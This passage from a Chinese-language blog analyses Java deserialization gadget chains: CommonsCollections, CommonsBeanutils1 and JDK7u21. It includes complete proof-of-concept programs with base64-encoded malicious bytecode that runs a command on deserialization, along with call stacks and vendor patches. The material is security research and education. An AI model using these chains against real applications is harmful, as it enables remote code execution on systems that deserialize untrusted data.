Entry<?,?> tab[] = table;
int hash = key.hashCode();
int index = (hash & 0x7FFFFFFF) % tab.length;
@SuppressWarnings("unchecked")
Entry<K,V> entry = (Entry<K,V>)tab[index];
for(; entry != null ; entry = entry.next) {
if ((entry.hash == hash) && entry.key.equals(key)) {
V old = entry.value;
entry.value = value;
return old;
}
}
addEntry(hash, key, value, index);
return null;
}
另外 Hashtable#put
调用的 entry.key.equals
需要返回 false
才能把第二个键值对放入 Hashtable
。在 AbstraceMap#equals
中,如果 value
为 null
的话只需要让 m.get(key)
返回不为 null
即可。而 transformer
方法返回不为 null
很容易满足。
Entry<K,V> e = i.next();
K key = e.getKey();
V value = e.getValue();
if (value == null) {
if (!(m.get(key)==null && m.containsKey(key)))
return false;
} else {
if (!value.equals(m.get(key)))
return false;
}
修复情况
Apache Commons Collections 官方在 2015 年底得知序列化相关的问题后,就在两个分支上同时发布了新的版本 4.1 和 3.2.2。
3.2.2 版代码中增加了一个方法 FunctorUtils#checkUnsafeSerialization
,用于检测反序列化是否安全。如果开发者没有设置全局配置 org.apache.commons.collections.enableUnsafeSerialization=true
,即默认情况下会抛出异常。
这个检查在常见的危险 Transformer
类(InstantiateTransformer
、InvokerTransformer
、PrototypeFactory
、CloneTransformer
等)的 readObject
里进行调用。所以,当我们反序列化包含这些对象时就会抛出一个异常:
Serialization support for org.apache.commons.collections.functors.InvokerTransformer is disabled for security reasons. To enable it set system property 'org.apache.commons.collections.enableUnsafeSerialization' to 'true', but you must ensure that your application does not de-serialize objects from untrusted sources.
在 4.1 版本,这几个危险 Transformer
类不再实现 Serializable
接口,也就是说,他们几个彻底无法序列化和反序列化了。
CommonsCollections Gadget Chains | CommonsCollection Version | JDK Version | Note |
---|---|---|---|
CommonsCollections1 | CommonsCollections 3.1 - 3.2.1 | 1.7 (8u71之后已修复不可利用) | |
CommonsCollections2 | CommonsCollections 4.0 | 暂无限制 | javassist |
CommonsCollections3 | CommonsCollections 3.1 - 3.2.1 | 1.7 (8u71之后已修复不可利用) | javassist |
CommonsCollections4 | CommonsCollections 4.0 | 暂无限制 | javassist |
CommonsCollections5 | CommonsCollections 3.1 - 3.2.1 | 1.8 8u76(实测8u181也可) | |
CommonsCollections6 | CommonsCollections 3.1 - 3.2.1 | 暂无限制 | |
CommonsCollections7 | CommonsCollections 3.1 - 3.2.1 | 暂无限制 |
CommonsBeanutils
CommonsBeanutils 概述
Apache Commons Beanutils 是 Apache Commons 工具集下的另一个项目,它提供了对普通Java类对象(也称为 JavaBean)的一些操作方法。
<dependency>
<groupId>commons-beanutils</groupId>
<artifactId>commons-beanutils</artifactId>
<version>1.8.3</version>
</dependency>
commons-beanutils 中提供了一个静态方法 PropertyUtils.getProperty,让使用者可以直接调用任意 JavaBean 的 getter 方法。例如下面这段代码:
import org.apache.commons.beanutils.PropertyUtils;
public class Example {
public static void main(String[] args) throws Exception {
Bean bean = new Bean();
PropertyUtils.setProperty(bean, "name", "Alice");
String name = (String) PropertyUtils.getProperty(bean, "name");
System.out.println("Name: " + name);
}
}
class Bean {
private String name;
public String getName() { return name; }
public void setName(String name) { this.name = name; }
}
在执行 PropertyUtils.getProperty(bean, "name")
时,commons-beanutils 会自动找到 name
属性的 getter 方法,也就是 getName,然后调用,获得返回值。
除此之外, PropertyUtils.getProperty
还支持递归获取属性,比如 a
对象中有属性 b
,b
对象中有属性 c
,我们可以通过 PropertyUtils.getProperty(a, "b.c");
的方式进行递归获取。
通过这个方法,使用者可以很方便地调用任意对象的 getter,适用于在不确定 JavaBean 是哪个类对象时使用。
当然,commons-beanutils 中诸如此类的辅助方法还有很多,如调用 setter、拷贝属性等,这里不再细说。
CommonsBeanutils1
commons-beanutils 的 org.apache.commons.beanutils.BeanComparator
实现了 java.util
接口,它的 compare
方法会对待比较对象调用 PropertyUtils.getProperty
方法获取 property
属性。而 TemplatesImpl#getOutputProperties
可以触发字节码加载。
public int compare( Object o1, Object o2 ) {
if ( property == null ) {
// compare the actual objects
return comparator.compare( o1, o2 );
}
try {
Object value1 = PropertyUtils.getProperty( o1, property );
Object value2 = PropertyUtils.getProperty( o2, property );
return comparator.compare( value1, value2 );
}
catch ( IllegalAccessException iae ) {
throw new RuntimeException( "IllegalAccessException: " + iae.toString() );
}
catch ( InvocationTargetException ite ) {
throw new RuntimeException( "InvocationTargetException: " + ite.toString() );
}
catch ( NoSuchMethodException nsme ) {
throw new RuntimeException( "NoSuchMethodException: " + nsme.toString() );
}
}
因此我们可以借鉴 CC2 的思路在 PriorityQueue
中放两个 TemplatesImpl
并且设置 BeanComparator
为 PriorityQueue
的比较方式。此时如果我们设置 BeanComparator
的 property
属性为 outputProperties
则在反序列化触发 BeanComparator#compare
时会通过 PropertyUtils.getProperty
调用到 TemplatesImpl#getOutputProperties
进而实现任意字节码加载。
poc 如下:
package com.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.PriorityQueue;
public class CommonsBeanutils1 {
public static void main(String[] args) throws Exception {
byte[] code = Base64.getDecoder().decode("yv66vgAAADQAOQoAAwAiBwA3BwAlBwAmAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBa0gk/OR3e8+AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABNTdHViVHJhbnNsZXRQYXlsb2FkAQAMSW5uZXJDbGFzc2VzAQAxTGNvbS9leGFtcGxlL1Rlc3RUcmFuc2Zvcm1lciRTdHViVHJhbnNsZXRQYXlsb2FkOwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwAnAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApTb3VyY2VGaWxlAQAUVGVzdFRyYW5zZm9ybWVyLmphdmEMAAoACwcAKAEAL2NvbS9leGFtcGxlL1Rlc3RUcmFuc2Zvcm1lciRTdHViVHJhbnNsZXRQYXlsb2FkAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAFGphdmEvaW8vU2VyaWFsaXphYmxlAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAbY29tL2V4YW1wbGUvVGVzdFRyYW5zZm9ybWVyAQAIPGNsaW5pdD4BABFqYXZhL2xhbmcvUnVudGltZQcAKgEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMACwALQoAKwAuAQAEY2FsYwgAMAEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsMADIAMwoAKwA0AQANU3RhY2tNYXBUYWJsZQEAHnlzb3NlcmlhbC9Qd25lcjU0MDQzOTYxNzA2NjcwMAEAIEx5c29zZXJpYWwvUHduZXI1NDA0Mzk2MTcwNjY3MDA7ACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAAEAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAAHAAOAAAADAABAAAABQAPADgAAAABABMAFAACAAwAAAA/AAAAAwAAAAGxAAAAAgANAAAABgABAAAAIgAOAAAAIAADAAAAAQAPADgAAAAAAAEAFQAWAAEAAAABABcAGAACABkAAAAEAAEAGgABABMAGwACAAwAAABJAAAABAAAAAGxAAAAAgANAAAABgABAAAAJwAOAAAAKgAEAAAAAQAPADgAAAAAAAEAFQAWAAEAAAABABwAHQACAAAAAQAeAB8AAwAZAAAABAABABoACAApAAsAAQAMAAAAJAADAAIAAAAPpwADAUy4AC8SMbYANVexAAAAAQA2AAAAAwABAwACACAAAAACACEAEQAAAAoAAQACACMAEAAJ");
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{code});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
queue.add("1");
queue.add("1");
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj});
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(queue);
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
}
private static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}
调用栈如下:
defineClass:142, TemplatesImpl$TransletClassLoader (com.sun.org.apache.xalan.internal.xsltc.trax)
defineTransletClasses:346, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
getTransletInstance:383, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
newTransformer:418, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
getOutputProperties:439, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
...
getProperty:426, PropertyUtils (org.apache.commons.beanutils)
compare:157, BeanComparator (org.apache.commons.beanutils)
siftDownUsingComparator:721, PriorityQueue (java.util)
siftDown:687, PriorityQueue (java.util)
heapify:736, PriorityQueue (java.util)
readObject:795, PriorityQueue (java.util)
...
main:38, CommonsBeanutils1 (com.example)
这里需要注意 BeanComparator
的构造方法有两个,如果没有指定 Comparator
默认会使用 org.apache.commons.collections.comparators.ComparableComparator
。这样改利用链会依赖于 commons-collections 库。
public BeanComparator( String property ) {
this( property, ComparableComparator.getInstance() );
}
public BeanComparator( String property, Comparator comparator ) {
setProperty( property );
if (comparator != null) {
this.comparator = comparator;
} else {
this.comparator = ComparableComparator.getInstance();
}
}
为了避免这种依赖关系从而提高利用链的通用性,我们需要找到一个类来替换 ComparableComparator
,它需要满足下面这几个条件:
- 实现
java.util.Comparator
接口 - 实现
java.io.Serializable
接口 - Java、shiro 或 commons-beanutils 自带,且兼容性强。
实际上有很多类都满足这个条件,这里我选择的是 CaseInsensitiveComparator
,可以通过 String.CASE_INSENSITIVE_ORDER
获取。
原生反序列化利用链
主要是一些不依赖第三方库的 Java 反序列化利用链。
JDK7u21
AnnotationInvocationHandler
类中的 equalsImpl
方法在参数 Object o
不是 AnnotationInvocationHandler
的实现类代理的对象时会获取 AnnotationInvocationHandler#type
中的所有方法,然后依次调用 o
中的这些方法。
private AnnotationInvocationHandler asOneOfUs(Object o) {
if (Proxy.isProxyClass(o.getClass())) {
InvocationHandler handler = Proxy.getInvocationHandler(o);
if (handler instanceof AnnotationInvocationHandler)
return (AnnotationInvocationHandler) handler;
}
return null;
}
private Method[] getMemberMethods() {
if (memberMethods == null) {
memberMethods = AccessController.doPrivileged(
new PrivilegedAction<Method[]>() {
public Method[] run() {
final Method[] mm = type.getDeclaredMethods();
validateAnnotationMethods(mm);
AccessibleObject.setAccessible(mm, true);
return mm;
}
});
}
return memberMethods;
}
private transient volatile Method[] memberMethods = null;
private Boolean equalsImpl(Object o) {
if (o == this)
return true;
if (!type.isInstance(o))
return false;
for (Method memberMethod : getMemberMethods()) {
String member = memberMethod.getName();
Object ourValue = memberValues.get(member);
Object hisValue = null;
AnnotationInvocationHandler hisHandler = asOneOfUs(o);
if (hisHandler != null) {
hisValue = hisHandler.memberValues.get(member);
} else {
try {
hisValue = memberMethod.invoke(o); // 调用 o 的所有方法
} catch (InvocationTargetException e) {
return false;
} catch (IllegalAccessException e) {
throw new AssertionError(e);
}
}
if (!memberValueEquals(ourValue, hisValue))
return false;
}
return true;
}
因此我们不难想到如果构造一个 AnnotationInvocationHandler
使得其 type
为 Templates.class
然后将 TemplatesImpl
对象传入便会调用它的 getOutputProperties
方法实现恶意字节码加载。
AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
...
this.type = type;
this.memberValues = memberValues;
}
而 equalsImpl
方法可以通过 AnnotationInvocationHandler#invoke
方法调用。也就是说如果我们使用 AnnotationInvocationHandler#invoke
代理一个类,然后调用这个类的 equals
方法就可以触发 AnnotationInvocationHandler#equalsImpl
方法调用,且传入的参数是 equals
的参数。
public Object invoke(Object proxy, Method method, Object[] args) {
String member = method.getName();
Class<?>[] paramTypes = method.getParameterTypes();
// Handle Object and Annotation methods
if (member.equals("equals") && paramTypes.length == 1 &&
paramTypes[0] == Object.class)
return equalsImpl(args[0]);
...
}
HashSet
内部实际上是通过 HashMap
来实现的,我们存入 HashSet
中的数据实际上是存入内部成员 private transient HashMap<E,Object> map;
的键中,而对应的值设为一个 Object
类型的对象来占位(真够懒的)。因此在 HashSet#readObject
函数中我们会把 HashSet
存储的元素逐个加到 HashMap
中。
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// Read in any hidden serialization magic
s.defaultReadObject();
// Read in HashMap capacity and load factor and create backing HashMap
int capacity = s.readInt();
float loadFactor = s.readFloat();
map = (((HashSet)this) instanceof LinkedHashSet ?
new LinkedHashMap<E,Object>(capacity, loadFactor) :
new HashMap<E,Object>(capacity, loadFactor));
// Read in size
int size = s.readInt();
// Read in all elements in the proper order.
for (int i=0; i<size; i++) {
E e = (E) s.readObject();
map.put(e, PRESENT);
}
}
在 HashMap
中会计算哈希值找到对应的桶然后逐个比较去重,最后放到 HashMap
中。这里涉及到了 equals
方法的调用。
final int hash(Object k) {
int h = 0;
...
h ^= k.hashCode();
// This function ensures that hashCodes that differ only by
// constant multiples at each bit position have a bounded
// number of collisions (approximately 8 at default load factor).
h ^= (h >>> 20) ^ (h >>> 12);
return h ^ (h >>> 7) ^ (h >>> 4);
}
public V put(K key, V value) {
if (key == null)
return putForNullKey(value);
int hash = hash(key);
int i = indexFor(hash, table.length);
for (Entry<K,V> e = table[i]; e != null; e = e.next) {
Object k;
if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {
V oldValue = e.value;
e.value = value;
e.recordAccess(this);
return oldValue;
}
}
modCount++;
addEntry(hash, key, value, i);
return null;
}
因此如果我们在 HashSet
中放一个 TemplatesImpl
对象再放一个 AnnotationInvocationHandler
代理的对象,并且恰巧这两个对象的哈希值相等且 AnnotationInvocationHandler
代理的对象是后加入的,那么调用 equals
方法就会触发前面介绍的利用链。
所以现在的问题是如何构造一个 AnnotationInvocationHandler
代理的对象使得其哈希值与 TemplatesImpl
对象相等。
由于 TemplatesImpl
没有显式实现 hashCode()
方法,因此它将继承自 java.lang.Object
类中的默认实现。在这种情况下,调用 hashCode()
方法返回的是该对象的内存地址经过哈希计算后得到的一个整数值。也就是说这个哈希值我们不可控制。
但是我们可以想办法构造一个 AnnotationInvocationHandler
代理的对象使得它的哈希值总是与 TemplatesImpl
对象的哈希值相等。
AnnotationInvocationHandler
代理的对象的 hashCode
方法实际上调用的是 AnnotationInvocationHandler#invoke
进而会调用到 AnnotationInvocationHandler#hashCodeImpl
。
这个方法会遍历 memberValues
这个 Map
中的每个 key
和 value
,计算每个 (127 * key.hashCode()) ^ value.hashCode()
并求和。因此我们只要让 value
为同一个 TemplatesImpl
且 key
的哈希值为 0 即可。
private int hashCodeImpl() {
int result = 0;
for (Map.Entry<String, Object> e : memberValues.entrySet()) {
result += (127 * e.getKey().hashCode()) ^
memberValueHashCode(e.getValue());
}
return result;
}
网上通常的做法是枚举十六进制数字对应的字符串,最终得到 f5a5a608
这个字符串。但实际上根据字符串的哈希计算方式很容易就构造出 \0
这一字符串。
poc 如下:
package com.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.*;
import sun.misc.BASE64Decoder;
public class JDK7u21 {
public static void main(String[] args) throws Exception {
byte[] code = new BASE64Decoder().decodeBuffer("yv66vgAAADMANgoACQAlCgAmACcIACgKACYAKQcAKgcAKwoABgAsBwAtBwAuAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBACBMY29tL2V4YW1wbGUvSGVsbG9UZW1wbGF0ZXNJbXBsOwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwAvAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAAg8Y2xpbml0PgEAAWUBABVMamF2YS9pby9JT0V4Y2VwdGlvbjsBAA1TdGFja01hcFRhYmxlBwAqAQAKU291cmNlRmlsZQEAF0hlbGxvVGVtcGxhdGVzSW1wbC5qYXZhDAAKAAsHADAMADEAMgEABGNhbGMMADMANAEAE2phdmEvaW8vSU9FeGNlcHRpb24BABpqYXZhL2xhbmcvUnVudGltZUV4Y2VwdGlvbgwACgA1AQAeY29tL2V4YW1wbGUvSGVsbG9UZW1wbGF0ZXNJbXBsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABgoTGphdmEvbGFuZy9UaHJvd2FibGU7KVYAIQAIAAkAAAAAAAQAAQAKAAsAAQAMAAAALwABAAEAAAAFKrcAAbEAAAACAA0AAAAGAAEAAAALAA4AAAAMAAEAAAAFAA8AEAAAAAEAEQASAAIADAAAAD8AAAADAAAAAbEAAAACAA0AAAAGAAEAAAAXAA4AAAAgAAMAAAABAA8AEAAAAAAAAQATABQAAQAAAAEAFQAWAAIAFwAAAAQAAQAYAAEAEQAZAAIADAAAAEkAAAAEAAAAAbEAAAACAA0AAAAGAAEAAAAcAA4AAAAqAAQAAAABAA8AEAAAAAAAAQATABQAAQAAAAEAGgAbAAIAAAABABwAHQADABcAAAAEAAEAGAAIAB4ACwABAAwAAABmAAMAAQAAABe4AAISA7YABFenAA1LuwAGWSq3AAe/sQABAAAACQAMAAUAAwANAAAAFgAFAAAADgAJABEADAAPAA0AEAAWABIADgAAAAwAAQANAAkAHwAgAAAAIQAAAAcAAkwHACIJAAEAIwAAAAIAJA==");
Templates templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][]{code});
setFieldValue(templates, "_name", "HelloTemplatesImpl");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
Map map = new HashMap();
map.put("\0", "sky123");
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Templates.class, map);
Serializable proxy = (Serializable) Proxy.newProxyInstance(Serializable.class.getClassLoader(), new Class[]{Serializable.class}, handler);
HashSet set = new HashSet();
set.add(templates);
set.add(proxy);
map.put("\0", templates);
System.out.println(proxy.hashCode());
System.out.println(templates.hashCode());
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(set);
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}
调用栈如下:
defineClass:136, TemplatesImpl$TransletClassLoader (com.sun.org.apache.xalan.internal.xsltc.trax)
defineTransletClasses:339, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
getTransletInstance:376, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
newTransformer:410, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
getOutputProperties:431, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
...
invoke:601, Method (java.lang.reflect)
equalsImpl:197, AnnotationInvocationHandler (sun.reflect.annotation)
invoke:59, AnnotationInvocationHandler (sun.reflect.annotation)
equals:-1, $Proxy1 (com.sun.proxy)
put:475, HashMap (java.util)
readObject:309, HashSet (java.util)
...
main:48, JDK7u21 (com.example)
https://hg.openjdk.org/jdk7u/jdk7u/jdk/rev/0ca6cbe3f350
--- a/src/share/classes/sun/reflect/annotation/AnnotationInvocationHandler.java Fri Mar 22 15:40:16 2013 -0400 +++ b/src/share/classes/sun/reflect/annotation/AnnotationInvocationHandler.java Mon Mar 25 12:41:55 2013 +0400 @@ -1,5 +1,5 @@ /* - * Copyright (c) 2003, 2011, Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2003, 2013, Oracle and/or its affiliates. All rights reserved. * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER. * * This code is free software; you can redistribute it and/or modify it @@ -337,12 +337,15 @@ try { annotationType = AnnotationType.getInstance(type); } catch(IllegalArgumentException e) { - // Class is no longer an annotation type; all bets are off - return; + // Class is no longer an annotation type; time to punch out + throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream"); } Map<String, Class<?>> memberTypes = annotationType.memberTypes(); + + // If there are annotation members without values, that + // situation is handled by the invoke method. for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) { String name = memberValue.getKey(); Class<?> memberType = memberTypes.get(name);
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:jacktools123@163.com进行投诉反馈,一经查实,立即删除!
标签: